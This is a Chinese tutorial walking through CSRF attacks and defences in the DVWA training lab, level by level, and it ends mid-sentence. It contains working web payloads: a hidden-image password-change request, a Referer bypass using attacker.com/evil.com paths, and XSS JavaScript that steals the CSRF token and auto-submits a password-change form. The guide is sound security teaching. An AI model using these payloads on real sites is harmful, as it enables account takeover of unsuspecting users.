DVWA靶场实战：从Low到Impossible，逐层拆解CSRF攻防-洪萨配资

1. CSRF攻击原理与DVWA靶场环境搭建

CSRF（跨站请求伪造）是一种常见的Web安全威胁，攻击者利用受害者已登录的会话状态，诱骗其执行非预期的操作。想象一下这样的场景：你在咖啡厅登录了银行网站，此时恶意网站通过图片标签自动发送转账请求，由于浏览器会自动携带你的登录凭证，这笔交易就可能被悄无声息地执行。

DVWA（Damn Vulnerable Web Application）是专为安全测试设计的靶场系统，其CSRF模块设置了四个安全等级：

Low：毫无防护的基础版本
Medium：添加Referer检查的过渡版本
High：引入Token机制的强化版本
Impossible：综合防护的终极版本

搭建环境只需三步：

# 使用Docker快速部署 docker pull vulnerables/web-dvwa docker run -d -p 8080:80 vulnerables/web-dvwa

访问http://localhost:8080后，需在Setup页面初始化数据库，将安全级别调整为Low即可开始实验。建议使用Burp Suite作为辅助工具，方便拦截和修改HTTP请求。

2. Low级别攻防实战：裸奔的脆弱系统

2.1 漏洞代码解析

Low级别的密码修改功能没有任何防护措施：

if($pass_new == $pass_conf) { $pass_new = md5($pass_new); $insert = "UPDATE users SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "'"; mysqli_query($GLOBALS["___mysqli_ston"], $insert); }

这段代码存在三个致命问题：

仅通过GET请求接收参数
没有验证请求来源
缺少二次确认环节

2.2 攻击构造与演示

攻击者只需构造一个包含恶意参数的URL：

http://靶场地址/vulnerabilities/csrf?password_new=hack&password_conf=hack&Change=Change

将其隐藏在图片标签中：

<img src="攻击URL" style="display:none">

当受害者访问这个页面时，密码就会被悄无声息地修改。我在本地测试时发现，即使用户当前没有打开DVWA页面，只要会话未过期，攻击依然能成功。

3. Medium级别突破：Referer检查的局限性

3.1 防御机制分析

Medium级别增加了Referer检查：

if(stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false) { // 执行密码修改 }

这种防护看似有效，实则存在两个绕过点：

浏览器可能不发送Referer头（隐私模式下）
Referer内容可被篡改

3.2 实战绕过技巧

通过构造特殊域名即可绕过防护：

<!-- 在攻击页面添加靶场域名作为子路径 --> <a href="http://attacker.com/靶场域名.html">点击抽奖</a>

实际测试中，我发现只要Referer中包含靶场域名（如http://evil.com/靶场域名）就能通过验证。更彻底的方法是使用<meta>标签控制Referer：

<meta name="referrer" content="unsafe-url">

4. High级别攻防：Token机制的破解之道

4.1 Token防御原理

High级别引入了CSRF Token：

checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');

每次请求需要携带服务器下发的随机Token，这确实能有效阻止常规CSRF攻击。但我在测试中发现三个潜在风险点：

Token可能通过XSS泄露
若Token未绑定用户会话，可能被预测
重复使用问题

4.2 组合攻击实战

通过XSS获取Token的完整攻击链：

// 首先注入XSS获取Token var xhr = new XMLHttpRequest(); xhr.onload = function() { var token = xhr.responseText.match(/user_token' value='(.*?)'/)[1]; // 构造自动提交表单 var form = `<form action="靶场地址" method="GET"> <input name="password_new" value="hacked"> <input name="password_conf" value="hacked"> <input name="user_token" value="${token}"> </form>`; document.body.innerHTML += form; document.forms[0].submit(); }; xhr.open("GET", "靶场地址"); xhr.send();

这种攻击需要先存在XSS漏洞，凸显了安全防御需要多层次配合的重要性。

5. Impossible级别剖析：终极防御方案

5.1 多重防护机制

Impossible级别采用了三种防御措施：

强制验证当前密码：

$data = $db->prepare('SELECT password FROM users WHERE user = :user AND password = :password'); $data->execute([':password' => md5($pass_curr)]);

PDO参数化查询：防止SQL注入
CSRF Token：保持High级别的防护

5.2 安全设计启示

这个级别给我们三个重要启示：

关键操作需要二次验证（如密码确认）
数据库操作必须使用预处理语句
防御措施应该层层叠加

在实际开发中，建议至少实现：

重要操作使用POST请求
添加验证码机制
设置SameSite Cookie属性

6. 企业级防护方案与最佳实践

根据OWASP推荐，完整的CSRF防护应包含以下措施：

防护层级	具体措施	实施示例
基础防护	CSRF Token	每个表单生成唯一Token
增强防护	SameSite Cookie	Set-Cookie: session=xxx; SameSite=Strict
终极防护	二次验证	短信验证/生物识别

我在金融项目中的实践经验是：